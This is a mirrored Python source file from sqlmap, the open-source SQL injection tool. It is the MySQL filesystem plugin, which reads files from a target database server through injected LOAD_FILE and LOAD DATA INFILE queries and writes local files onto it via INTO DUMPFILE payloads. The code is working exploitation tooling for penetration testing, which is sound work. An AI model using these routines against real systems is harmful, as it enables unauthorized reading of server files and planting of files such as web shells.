mirror of
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178 lines
7.5 KiB
Python
178 lines
7.5 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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from lib.core.agent import agent
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from lib.core.common import getSQLSnippet
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from lib.core.common import isNumPosStrValue
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from lib.core.common import isTechniqueAvailable
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from lib.core.common import popValue
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from lib.core.common import pushValue
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from lib.core.common import randomStr
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from lib.core.common import singleTimeWarnMessage
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from lib.core.compat import xrange
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.decorators import stackedmethod
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from lib.core.enums import CHARSET_TYPE
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from lib.core.enums import DBMS
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from lib.core.enums import EXPECTED
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from lib.core.enums import PAYLOAD
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from lib.core.enums import PLACE
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from lib.core.exception import SqlmapNoneDataException
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from lib.request import inject
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from lib.request.connect import Connect as Request
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from lib.techniques.union.use import unionUse
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from plugins.generic.filesystem import Filesystem as GenericFilesystem
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class Filesystem(GenericFilesystem):
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def nonStackedReadFile(self, rFile):
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if not kb.bruteMode:
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infoMsg = "fetching file: '%s'" % rFile
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logger.info(infoMsg)
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result = inject.getValue("HEX(LOAD_FILE('%s'))" % rFile, charsetType=CHARSET_TYPE.HEXADECIMAL)
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return result
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def stackedReadFile(self, remoteFile):
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if not kb.bruteMode:
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infoMsg = "fetching file: '%s'" % remoteFile
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logger.info(infoMsg)
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self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
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self.getRemoteTempPath()
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tmpFile = "%s/tmpf%s" % (conf.tmpPath, randomStr(lowercase=True))
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debugMsg = "saving hexadecimal encoded content of file '%s' " % remoteFile
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debugMsg += "into temporary file '%s'" % tmpFile
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logger.debug(debugMsg)
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inject.goStacked("SELECT HEX(LOAD_FILE('%s')) INTO DUMPFILE '%s'" % (remoteFile, tmpFile))
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debugMsg = "loading the content of hexadecimal encoded file "
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debugMsg += "'%s' into support table" % remoteFile
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logger.debug(debugMsg)
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inject.goStacked("LOAD DATA INFILE '%s' INTO TABLE %s FIELDS TERMINATED BY '%s' (%s)" % (tmpFile, self.fileTblName, randomStr(10), self.tblField))
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length = inject.getValue("SELECT LENGTH(%s) FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
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if not isNumPosStrValue(length):
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warnMsg = "unable to retrieve the content of the "
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warnMsg += "file '%s'" % remoteFile
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if conf.direct or isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION):
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if not kb.bruteMode:
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warnMsg += ", going to fall-back to simpler UNION technique"
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logger.warn(warnMsg)
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result = self.nonStackedReadFile(remoteFile)
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else:
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raise SqlmapNoneDataException(warnMsg)
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else:
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length = int(length)
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chunkSize = 1024
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if length > chunkSize:
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result = []
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for i in xrange(1, length, chunkSize):
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chunk = inject.getValue("SELECT MID(%s, %d, %d) FROM %s" % (self.tblField, i, chunkSize, self.fileTblName), unpack=False, resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
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result.append(chunk)
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else:
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result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), resumeValue=False, charsetType=CHARSET_TYPE.HEXADECIMAL)
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return result
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@stackedmethod
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def unionWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
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logger.debug("encoding file to its hexadecimal string value")
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fcEncodedList = self.fileEncode(localFile, "hex", True)
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fcEncodedStr = fcEncodedList[0]
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fcEncodedStrLen = len(fcEncodedStr)
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if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
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warnMsg = "as the injection is on a GET parameter and the file "
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warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
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warnMsg += "bytes, this might cause errors in the file "
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warnMsg += "writing process"
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logger.warn(warnMsg)
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debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
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logger.debug(debugMsg)
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pushValue(kb.forceWhere)
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kb.forceWhere = PAYLOAD.WHERE.NEGATIVE
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sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile)
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unionUse(sqlQuery, unpack=False)
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kb.forceWhere = popValue()
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warnMsg = "expect junk characters inside the "
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warnMsg += "file as a leftover from UNION query"
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singleTimeWarnMessage(warnMsg)
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return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
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def linesTerminatedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
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logger.debug("encoding file to its hexadecimal string value")
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fcEncodedList = self.fileEncode(localFile, "hex", True)
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fcEncodedStr = fcEncodedList[0][2:]
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fcEncodedStrLen = len(fcEncodedStr)
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if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
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warnMsg = "the injection is on a GET parameter and the file "
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warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
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warnMsg += "bytes, this might cause errors in the file "
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warnMsg += "writing process"
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logger.warn(warnMsg)
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debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
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logger.debug(debugMsg)
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query = getSQLSnippet(DBMS.MYSQL, "write_file_limit", OUTFILE=remoteFile, HEXSTRING=fcEncodedStr)
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query = agent.prefixQuery(query) # Note: No need for suffix as 'write_file_limit' already ends with comment (required)
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payload = agent.payload(newValue=query)
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Request.queryPage(payload, content=False, raise404=False, silent=True, noteResponseTime=False)
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warnMsg = "expect junk characters inside the "
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warnMsg += "file as a leftover from original query"
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singleTimeWarnMessage(warnMsg)
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return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
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def stackedWriteFile(self, localFile, remoteFile, fileType, forceCheck=False):
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debugMsg = "creating a support table to write the hexadecimal "
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debugMsg += "encoded file to"
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logger.debug(debugMsg)
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self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
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logger.debug("encoding file to its hexadecimal string value")
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fcEncodedList = self.fileEncode(localFile, "hex", False)
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debugMsg = "forging SQL statements to write the hexadecimal "
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debugMsg += "encoded file to the support table"
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logger.debug(debugMsg)
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sqlQueries = self.fileToSqlQueries(fcEncodedList)
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logger.debug("inserting the hexadecimal encoded file to the support table")
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inject.goStacked("SET GLOBAL max_allowed_packet = %d" % (1024 * 1024)) # 1MB (Note: https://github.com/sqlmapproject/sqlmap/issues/3230)
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for sqlQuery in sqlQueries:
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inject.goStacked(sqlQuery)
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debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
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logger.debug(debugMsg)
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# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
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inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, remoteFile), silent=True)
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return self.askCheckWrittenFile(localFile, remoteFile, forceCheck)
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